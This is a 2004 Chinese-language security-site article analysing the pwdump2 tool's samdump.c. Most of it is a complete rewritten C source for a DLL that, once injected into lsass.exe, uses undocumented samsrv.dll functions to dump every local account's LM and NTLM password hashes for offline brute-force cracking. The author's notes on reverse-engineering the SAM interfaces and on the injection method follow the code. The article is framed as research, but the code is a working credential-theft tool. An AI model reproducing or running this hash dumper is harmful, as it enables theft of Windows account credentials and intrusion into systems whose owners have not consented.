首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>网络安全>文章内容
pwdump2 samdump.c浅析与改进
来源:vittersafe.yeah.net 作者:SCZ 发布时间:2004-01-13  

pwdump2/samdump.c浅析与改进

作者:SCZ

(txt版全文http://www.opencjk.org/~scz/200401041902.txt)

_samdump.c调用LsaQueryInformationPolicy()获取主机SID,未调用LsaFreeMemory()
释放内存,造成lsass.exe进程空间的内存泄漏。此外,需要引入advapi32.lib。

samdump.c中有一个RegCloseKey()操作,可能最初直接读取注册表,后因LM Hash、
NTLM Hash加密存放,才改用samsrv.dll引出的未公开(文档化)函数。

我重写了pwdump2,主要是配合前段时间samsrv.dll的逆向工程,将一些猜测性结论
加以验证,或推翻或肯定。参getlmhashdll.c源代码,将整个流程减化、抽象一下:

--------------------------------------------------------------------------
SamIConnect
SamrEnumerateDomainsInSamServer
SamrLookupDomainInSamServer
SamrOpenDomain
SamrEnumerateUsersInDomain
SamrOpenUser
SamrQueryInformationUser
SamIFree_SAMPR_USER_INFO_BUFFER
SamrCloseHandle
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
LocalFree
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
--------------------------------------------------------------------------

SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未
曾用到的samsrv.dll引出函数,用以代替LsaQueryInformationPolicy,其实我演示
的这个方法才是正经的SAM操作方法。我的意思是,要用未文档化的函数,就都用好
了。

使用LsaQueryInformationPolicy的话,就不必使用SamrEnumerateUsersInDomain,
理念换成"尽量使用文档化的函数",用NetUserEnum枚举帐号。

相比samdump.c,没有其它改进,Todd Sabin已经完成了必要的Hacking。

--------------------------------------------------------------------------
/*
* (C) Todd Sabin 1997,1998,2000 All rights reserved.
* -----------------------------------------------------------------------
* Rewrite : scz <scz@nsfocus.com>
* : http://www.nsfocus.com
* Version : 1.10
* Compile : For x86/EWindows XP SP1 & VC 7
* : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE
* :
* Create : 2003-12-29 21:42
* Modify : 2004-01-04 17:26
* -----------------------------------------------------------------------
* The only thing they can't take from us are our minds. !H
*/

/************************************************************************
* *
* Head File *
* *
************************************************************************/

/*
* #define _WIN32_WINNT 0x0501
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* for _vsnprintf()
*/
#include <stdarg.h>
#include <windows.h>

/************************************************************************
* *
* Macro *
* *
************************************************************************/

#pragma comment( linker, "/INCREMENTAL:NO" )
#pragma comment( lib, "kernel32.lib" )

#define VERSION "1.10"

/*
* you'll find a list of NTSTATUS status codes in the DDK header
* ntstatus.h (\WINDDK\2600.1106\inc\ddk\wxp\)
*/
typedef LONG NTSTATUS;
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)

#define SamUserOWFPasswordInformation 0x12

#pragma pack( push, 1 )

/*
* ntdef.h
*/
typedef struct _UNICODE_STRING
{
USHORT Length; // +0x000
USHORT MaximumLength; // +0x002
PWSTR Buffer; // +0x004
// +0x008
} UNICODE_STRING, *PUNICODE_STRING;

/*
* !!!
* from Luke Kenneth Casson Leighton
*/
typedef struct _SAM_DOMAIN_USER
{
DWORD userrid; // +0x000
UNICODE_STRING username; // +0x004,这是一个结构,而非结构指针
// +0x00c,该结构总共占12字节
} SAM_DOMAIN_USER, *PSAM_DOMAIN_USER;

/*
* !!!
* (C) Todd Sabin 1997,1998,2000 All rights reserved.
*/
typedef struct _SAM_DOMAIN_USER_ENUMERATION
{
DWORD DomainUserCount; // +0x000,数组元素个数
PSAM_DOMAIN_USER DomainUser; // +0x004,动态分配空间的结构数组
// +0x008,后面还有没有成员,目前看不出来
/*
* ... ...
*/
} SAM_DOMAIN_USER_ENUMERATION, *PSAM_DOMAIN_USER_ENUMERATION, **PPSAM_DOMAIN_USER_ENUMERATION;

/*
* 自己Hacking得到的结构,不可靠
*/
typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION // Information Class 0x12
{
unsigned char NTLMHash[16]; // +0x000,16字节的NTLM Hash
unsigned char LMHash[16]; // +0x010,16字节的LM Hash
unsigned short int Unknown_020; // +0x020,参samsrv!SampGetCurrentAdminPassword()
unsigned char Unknown_022; // +0x022
// +0x023
} SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION;

typedef struct _SAM_SERVER_DOMAIN
{
DWORD unused; // +0x000,未使用,总为0(猜测)
UNICODE_STRING domainname; // +0x004,这是一个结构,而非结构指针
// +0x00c,该结构总共占12字节
} SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN;

typedef struct _SAM_DOMAIN_ENUMERATION
{
DWORD ServerDomainCount; // +0x000,数组元素个数
PSAM_SERVER_DOMAIN ServerDomain; // +0x004,动态分配空间的结构数组
// +0x008,后面还有没有成员,目前看不出来
/*
* ... ...
*/
} SAM_SERVER_DOMAIN_ENUMERATION, *PSAM_SERVER_DOMAIN_ENUMERATION, **PPSAM_SERVER_DOMAIN_ENUMERATION;

#pragma pack( pop )

/*
* 这些Undocumented Win32 API由samsrv.dll引出(export)
*/
typedef NTSTATUS ( WINAPI *SAMICONNECT )
(
DWORD Unknown_0, // 意义不明,调用时一般为0
PHANDLE pSamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE
DWORD AccessMask, // Access Mask
DWORD Unknown_1 // 意义不明,调用时一般为1
);

typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN )
(
HANDLE SamHandle, // 源自sam connect操作
DWORD AccessMask, // Access Mask
PSID DomainSid, // 这个域不是通常所说NT域
PHANDLE pDomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMROPENUSER )
(
HANDLE DomainHandle, // 源自sam open domain操作
DWORD AccessMask, // Access Mask
DWORD Rid, // 比如500,0x1F4,Administrator
PHANDLE pUserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER )
(
HANDLE UserHandle, // 源自sam open user操作
DWORD InfoClass, // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
// 了减少编译难度,换成DWORD型
PVOID UserInfo // 随InfoClass不同,对应不同的结构
);

typedef VOID ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER )
(
PVOID UserInfo, // 随InfoClass不同,对应不同的结构
DWORD InfoClass // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
// 了减少编译难度,换成DWORD型
);

typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE )
(
PHANDLE pHandle // 可以关闭各种sam操作相关的句柄
// 是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN )
(
HANDLE DomainHandle, // 源自sam open domain操作
PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
DWORD AccessMask, // filter,Access Mask
// 如欲枚举所有帐号,指定0
PPSAM_DOMAIN_USER_ENUMERATION pDomainUserEnumeration, // [out]参数
DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize
// 可以指定成0x0000FFFF
PDWORD pUserCount // [out]参数,枚举出的帐号数目
);

typedef VOID ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER )
(
PVOID EnumerationBuf // 其实是PSAM_ENUMERATION_BUFFER
// 调用时可能传PSAM_DOMAIN_USER_ENUMERATION
// 或者传PSAM_SERVER_DOMAIN_ENUMERATION
);

typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER )
(
HANDLE SamHandle, // 源自sam connect操作
PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration, // [out]参数
DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize
// 应该也可以指定成0x0000FFFF
PDWORD pDomainCount // [out]参数,枚举出的Domain数目
);

typedef NTSTATUS ( WINAPI *SAMRLOOKUPDOMAININSAMSERVER )
(
HANDLE SamHandle, // 源自sam connect操作
PUNICODE_STRING DomainName, //
PSID *pDomainSid // [out]参数,用LocalFree()释放
);

/*
* 这些Native API由ntdll.dll引出(export)
*/
typedef ULONG ( __stdcall *RTLNTSTATUSTODOSERROR )
(
IN NTSTATUS status
);

/************************************************************************
* *
* Function Prototype *
* *
************************************************************************/

static void getlmhash ( void );
static BOOL LocateNtdllEntry ( void );
static BOOL LocateSamsrvEntry ( void );
static void PrintHash ( unsigned char *hash );
static void PrintUnicodeString ( PUNICODE_STRING us );
static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId );
static void PrintZwErrorCUI ( char *message, NTSTATUS status );
static int PrivatePrintf
(
HANDLE handle,
char *buf,
size_t count,
const char *format,
...
);

__declspec(dllexport)
DWORD __cdecl
getlmhashdll_main ( char *pipename );

/************************************************************************
* *
* Static Global Var *
* *
************************************************************************/

static HANDLE outfile = INVALID_HANDLE_VALUE;
static char *outbuf = NULL;
static size_t outbuflen = 0;
static HMODULE samsrv = NULL;

/*
* 由samsrv.dll引出的Undocumented Win32 API函数指针
*/
static SAMICONNECT SamIConnect = NULL;
static SAMROPENDOMAIN SamrOpenDomain = NULL;
static SAMROPENUSER SamrOpenUser = NULL;
static SAMRQUERYINFORMATIONUSER SamrQueryInformationUser = NULL;
static SAMIFREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = NULL;
static SAMRCLOSEHANDLE SamrCloseHandle = NULL;
static SAMRENUMERATEUSERSINDOMAIN SamrEnumerateUsersInDomain = NULL;
static SAMIFREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = NULL;
static SAMRENUMERATEDOMAINSINSAMSERVER SamrEnumerateDomainsInSamServer = NULL;
static SAMRLOOKUPDOMAININSAMSERVER SamrLookupDomainInSamServer = NULL;

/*
* 由ntdll.dll引出的Native API函数指针
*/
static RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;

/************************************************************************/

static void getlmhash ( void )
{
NTSTATUS status;
HANDLE SamHandle = NULL,
EnumerationHandle = NULL,
DomainHandle = NULL,
UserHandle = NULL;
PSAM_SERVER_DOMAIN_ENUMERATION ServerDomainEnumeration = NULL;
DWORD DomainCount = 0,
UserCount = 0,
Count = 0;
PSID DomainSid = NULL;
PSAM_DOMAIN_USER_ENUMERATION DomainUserEnumeration = NULL;
BOOL nomoredata = FALSE;
PSAM_USER_OWF_PASSWORD_INFORMATION UserOWFPasswordInfo = NULL;

status = SamIConnect
(
0, // 意义不明,调用时一般为0
&SamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE
0x10000030, // Access Mask
// Generic read
// Open domain
// Enum domains
1 // 意义不明,调用时一般为1
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamIConnect() failed",
status
);
goto getlmhash_exit;
}
status = SamrEnumerateDomainsInSamServer
(
SamHandle, // 源自sam connect操作
&EnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
&ServerDomainEnumeration, // [out]参数
0x0000FFFF, // 意义未明,似乎对应Pref MaxSize
// 应该也可以指定成0x0000FFFF
&DomainCount // [out]参数,枚举出的Domain数目
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrEnumerateDomainsInSamServer() failed",
status
);
goto getlmhash_exit;
}
if ( 2 != DomainCount )
{
goto getlmhash_exit;
}
status = SamrLookupDomainInSamServer
(
SamHandle, // 源自sam connect操作
&ServerDomainEnumeration->ServerDomain[0].domainname, // PUNICODE_STRING
&DomainSid // [out]参数,用LocalFree()释放
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrLookupDomainInSamServer() failed",
status
);
goto getlmhash_exit;
}
status = SamrOpenDomain
(
SamHandle, // 源自sam connect操作
0x10000000, // Access Mask
// SampGetCurrentAdminPassword()中用的是这个值
DomainSid, // 这个域不是通常所说NT域
&DomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* TMD,前面SamrEnumerateDomainsInSamServer()用过一次,真是个相当隐蔽
* 的错误。为了枚举所有帐号,调用SamrEnumerateUsersInDomain()之前一定
* 要将该[in/out]参数清零。
*/
EnumerationHandle = NULL;
do
{
status = SamrEnumerateUsersInDomain
(
DomainHandle, // Context Handle
&EnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
0, // filter,Access Mask
// 如欲枚举所有帐号,指定0
&DomainUserEnumeration, // [out]参数
0x0000FFFF, // 意义未明,似乎对应Pref MaxSize
&UserCount // [out]参数,枚举出的帐号数目
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrEnumerateUsersInDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* from ntstatus.h(\WINDDK\2600.1106\inc\ddk\wxp\)
*
* Returned by enumeration APIs to indicate more information is
* available to successive calls.
*
* #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
*/
if ( STATUS_MORE_ENTRIES != status )
{
nomoredata = TRUE;
}
Count = 0;
while ( Count < UserCount )
{
status = SamrOpenUser
(
DomainHandle, // 源自sam open domain操作
0x10000000, // Access Mask
DomainUserEnumeration->DomainUser[Count].userrid, // RID
&UserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenUser() failed",
status
);
goto getlmhash_exit;
}
status = SamrQueryInformationUser
(
UserHandle, // 源自sam open user操作
SamUserOWFPasswordInformation, // InformationClass,0x12,其实是
// SAM_USER_INFORMATION_CLASS枚举型,
// 为了减少编译难度,换成DWORD型
&UserOWFPasswordInfo // 随InformationClass不同,对应不同的结构
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrQueryInformationUser() failed",
status
);
goto getlmhash_exit;
}
PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":%u:",
DomainUserEnumeration->DomainUser[Count].userrid
);
PrintHash( UserOWFPasswordInfo->LMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":"
);
PrintHash( UserOWFPasswordInfo->NTLMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":::\n"
);
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
status = SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrCloseHandle() failed for UserHandle",
status
);
goto getlmhash_exit;
}
Count++;
} /* end of while */
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
while ( FALSE == nomoredata );

getlmhash_exit:

if ( NULL != UserOWFPasswordInfo )
{
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
}
if ( NULL != UserHandle )
{
SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
}
if ( NULL != DomainUserEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
if ( NULL != DomainHandle )
{
SamrCloseHandle
(
&DomainHandle
);
DomainHandle = NULL;
}
if ( NULL != DomainSid )
{
LocalFree( DomainSid );
DomainSid = NULL;
}
if ( NULL != ServerDomainEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
ServerDomainEnumeration
);
ServerDomainEnumeration = NULL;
}
if ( NULL != SamHandle )
{
SamrCloseHandle
(
&SamHandle
);
SamHandle = NULL;
}
return;
} /* end of getlmhash */

/*
* ntdll.dll正常引出了如下Native API,我们不想让ntdll.lib介入,这会增加编
* 译难度,于是换用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char ntdllname[] = "ntdll";
HMODULE ntdll = NULL;

/*
* returns a handle to a mapped module without incrementing its
* reference count
*/
ntdll = GetModuleHandle( ntdllname );
if ( NULL == ntdll )
{
PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
return( ret );
}
RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress
(
ntdll,
"RtlNtStatusToDosError"
);
if ( !RtlNtStatusToDosError )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;

LocateNtdllEntry_exit:

if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
if ( NULL != ntdll )
{
ntdll = NULL;
}
return( ret );
} /* end of LocateNtdllEntry */

/*
* samsrv.dll正常引出了如下Undocumented Win32 API,由于没有samsrv.lib存在,
* 被迫利用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateSamsrvEntry ( void )
{
BOOL ret = FALSE;
char samsrvname[] = "samsrv";

samsrv = LoadLibrary( samsrvname );
if ( NULL == samsrv )
{
PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() );
return( ret );
}
SamIConnect = ( SAMICONNECT )GetProcAddress
(
samsrv,
"SamIConnect"
);
if ( !SamIConnect )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenDomain = ( SAMROPENDOMAIN )GetProcAddress
(
samsrv,
"SamrOpenDomain"
);
if ( !SamrOpenDomain )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenUser = ( SAMROPENUSER )GetProcAddress
(
samsrv,
"SamrOpenUser"
);
if ( !SamrOpenUser )
{
goto LocateSamsrvEntry_exit;
}
SamrQueryInformationUser = ( SAMRQUERYINFORMATIONUSER )GetProcAddress
(
samsrv,
"SamrQueryInformationUser"
);
if ( !SamrQueryInformationUser )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_USER_INFO_BUFFER = ( SAMIFREE_SAMPR_USER_INFO_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_USER_INFO_BUFFER"
);
if ( !SamIFree_SAMPR_USER_INFO_BUFFER )
{
goto LocateSamsrvEntry_exit;
}
SamrCloseHandle = ( SAMRCLOSEHANDLE )GetProcAddress
(
samsrv,
"SamrCloseHandle"
);
if ( !SamrCloseHandle )
{
goto LocateSamsrvEntry_exit;
}
SamrEnumerateUsersInDomain = ( SAMRENUMERATEUSERSINDOMAIN )GetProcAddress
(
samsrv,
"SamrEnumerateUsersInDomain"
);
if ( !SamrEnumerateUsersInDomain )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_ENUMERATION_BUFFER = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_ENUMERATION_BUFFER"
);
if ( !SamIFree_SAMPR_ENUMERATION_BUFFER )
{
goto LocateSamsrvEntry_exit;
}
SamrEnumerateDomainsInSamServer = ( SAMRENUMERATEDOMAINSINSAMSERVER )GetProcAddress
(
samsrv,
"SamrEnumerateDomainsInSamServer"
);
if ( !SamrEnumerateDomainsInSamServer )
{
goto LocateSamsrvEntry_exit;
}
SamrLookupDomainInSamServer = ( SAMRLOOKUPDOMAININSAMSERVER )GetProcAddress
(
samsrv,
"SamrLookupDomainInSamServer"
);
if ( !SamrLookupDomainInSamServer )
{
goto LocateSamsrvEntry_exit;
}
ret = TRUE;

LocateSamsrvEntry_exit:

if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
/*
* 后面还要用这些函数指针,这里不得释放samsrv.dll
*/
return( ret );
} /* end of LocateSamsrvEntry */

static void PrintHash ( unsigned char *hash )
{
unsigned int i;
char buf[33];
char *p = buf;

for ( i = 0; i < 16; i++ )
{
sprintf( p, "%02X", hash[i] );
p += 2;
}
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s",
buf
);
return;
} /* end of PrintHash */

static void PrintUnicodeString ( PUNICODE_STRING us )
{
int i = 0;
unsigned int len = 0;
unsigned char *ansibuf = NULL,
*ansistr = NULL;

if ( NULL == us )
{
goto PrintUnicodeString_exit;
}
/*
* 将Unicode串转换成DBCS串再显示,否则中文串显示有问题
*/
len = us->Length + 1;
ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len );
if ( NULL == ansibuf )
{
ansistr = "No memory for ansibuf";
}
else
{
i = WideCharToMultiByte
(
CP_ACP,
0,
us->Buffer,
( int )( us->Length / 2 ),
ansibuf,
len,
NULL,
NULL
);
if ( 0 == i )
{
ansistr = "WideCharToMultiByte() failed";
}
else
{
ansistr = ansibuf;
}
}
PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf );

PrintUnicodeString_exit:

if ( NULL != ansibuf )
{
HeapFree( GetProcessHeap(), 0, ansibuf );
ansibuf = NULL;
}
return;
} /* end of PrintUnicodeString */

static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
char *errMsg;

FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwMessageId,
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} /* end of PrintWin32ErrorCUI */

static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
char *errMsg;

FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
RtlNtStatusToDosError( status ),
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} /* end of PrintZwErrorCUI */

static int PrivatePrintf
(
HANDLE handle,
char *buf,
size_t count,
const char *format,
...
)
{
va_list arg;
int num;
DWORD NumberOfBytes;

if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format )
{
return( -1 );
}
/*
* 将来运行在lsass.exe进程上下文中,必须动用SEH机制加以保护,否则一旦
* 出现内存访问违例,将导致整个操作系统崩溃!
*/
__try
{
va_start( arg, format );
num = _vsnprintf
(
buf,
count - 1,
format,
arg
);
if ( num >= 0 )
{
WriteFile
(
handle,
buf,
num,
&NumberOfBytes,
NULL
);
}
va_end( arg );
}
__except
(
EXCEPTION_EXECUTE_HANDLER
)
{
num = -1;
}
return( num );
} /* end of PrivatePrintf */

DWORD __cdecl getlmhashdll_main ( char *pipename )
{
DWORD ret = EXIT_FAILURE;

outbuflen = 1024;
outbuf = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen );
if ( NULL == outbuf )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) )
{
goto getlmhashdll_main_exit;
}
outfile = CreateFile
(
pipename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if ( INVALID_HANDLE_VALUE == outfile )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateNtdllEntry() )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateSamsrvEntry() )
{
goto getlmhashdll_main_exit;
}
/*
* 利用samsrv.dll引出的Undocumented Win32 API获取本机帐号的LM Hash、
* NTLM Hash
*/
getlmhash();
ret = EXIT_SUCCESS;

getlmhashdll_main_exit:

if ( NULL != samsrv )
{
FreeLibrary( samsrv );
samsrv = NULL;
}
if ( INVALID_HANDLE_VALUE != outfile )
{
CloseHandle( outfile );
outfile = INVALID_HANDLE_VALUE;
}
if ( NULL != outbuf )
{
HeapFree( GetProcessHeap(), 0, outbuf );
outbuf = NULL;
}
outbuflen = 0;
return( ret );
} /* end of getlmhashdll_main */

BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad )
{
DisableThreadLibraryCalls( hinstDll );
return( TRUE );
} /* end of DllMain */

/************************************************************************/

--------------------------------------------------------------------------

1) pwdump2在做什么。

假设当前用户是Administrator或等效用户,pwdump2利用远程线程注入向lsass.exe
进程空间注入一段代码,加载了samdump.c生成的动态链接库,然后GetProcAddress
获取samdump.dll的一个引出函数并调用之。该引出函数获取当前系统中可枚举帐号
的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具进行暴力破解。
关于LM Hash脆弱性,参看<<SMB系列(5)--LM/NTLM验证机制>>。

http://www.opencjk.org/~scz/200210141957.txt

第一次用加载DLL的办法完成远程线程实质性工作,以前是按照C语言式shellcode的
套路。加载DLL的办法要省不少细节上的纠缠,也趁此多做一点技术积累。

2) 为什么pwdump2这样做就可以获取LM Hash、NTLM Hash。

这个问题,严格意义上的讲解太复杂,又得扯一堆概念进来,参看[2]。简单地讲,
在lsass.exe进程上下文中调用samsrv.dll的未文档化引出函数,这些函数会返回期
望中的LM Hash、NTLM Hash。

开始我低估了SAM安全限制。以为以SYSTEM权限访问SAM即可获取LM Hash,居然失败。
最后确认非要从lsass.exe进程上下文中访问SAM,否则得到如下错误信息:

SamIConnect() failed: 安全帐户管理器(SAM)或本地安全颁发机构(LSA)服务器处于运行安全操作的错误状态。

3) 既然这种技术是未文档化的,那帮人又是如何得到这种技术的,他们Hacking的过
程、思想的发展可能是怎样的。

最开始我在写扫描器远程漏洞扫描插件,用NetUserGetInfo()查询远程用户信息,在
Ethereal解码过程中意识到与pwdump2的联系。接下来有了逆向samsrv.dll的想法。
逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那个抽
象流程。再与samdump.c一对照,思路很清晰。虽然我不清楚bindview的人是怎么接
近此处的,但按我这个搞法,也可接近此处,就不无谓纠缠了。

4) 在此基础上我们还能继续Hacking出其它有用的东西吗。

目前我没有更多时间Hacking这个方向,但至少成功还原了一批函数原型、数据结构。
有些东西可能目前阶段没有直接用途,但日后肯定会用到的。

枚举值SamUserOWFPasswordInformation(0x12)只能用于本机操作,如在网络操作中
指定0x12级查询,会报告无效级别,显然这出于安全考虑。我在一个底层SMB测试程
序中手工构造SamrQueryInformationUser(36)报文,试图指定level 0x12,查询失败。

5) 下次让你独立确定一个课题并研究之,你会在上述研究中受到什么样的启发,比
如选题方向、研究方法、工具使用等等。

由此想到一种研究Windows未文档化函数的方法。很多SMB网络函数第一形参指定目标
系统,当该形参为NULL时目标系统即本机。如果用Ethereal抓取了网络通信报文,根
据DCE RPC的marshalling/unmarshalling知识,有可能还原最初的数据结构,而这种
数据结构同时适用于本机、远程操作。再结合适当的逆向工程,进展会更大。当然,
有个重要前提,就是Ethereal已经进行了正确的Network Hacking,否则会导致错误
结论。你还必须能够在Ethereal所解析出的远程过程、Windows RPC Server以及MSDN
中的Win32 API这三者之间找到必然联系。

有个较深的感受,有些东西之间看似没有联系,实际却殊途同归。很早以前就想看看
pwdump2的实现机理,一直觉得它是横空出世的,没有来历,很茫然。搞不清为什么
要GetProcAddress获取那些引出函数地址。没想到在网络通信解码过程中豁然开朗。
看样子以后正门搞不定了,就扔到一边,说不定哪天发现到处是侧门。

☆ 参考资源

[ 2] Windows NT Security, Part 1
http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143

Windows NT Security, Part 2
http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·一句话木马
·samcrypt.lib简介
·教你轻松查看QQ空间加密后的好友
·web sniffer 在线嗅探/online ht
·SPIKE与Peach Fuzzer相关知识
·asp,php,aspx一句话集合
·Cisco PIX525 配置备忘
·用Iptables+Fedora做ADSL 路由器
·检查 Web 应用安全的几款开源免
·Md5(base64)加密与解密实战
·NT下动态切换进程分析笔记
·风险评估中的渗透测试
  相关文章
·samcrypt.lib简介
·新形式下的网络防毒建议汇总
·通用ShellCode深入剖析
·如何利用格式化溢出漏洞,x86/sp
·Windows Workstation Service远
·蠕虫病毒传播模式分析
·Linux 安全模块(LSM)简介
·关于Windows下ShellCode编写的一
·Cisco PIX525 配置备忘
·bugscam分析
·Brk漏洞分析和修补
·动网暴力破解密码程序代码
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved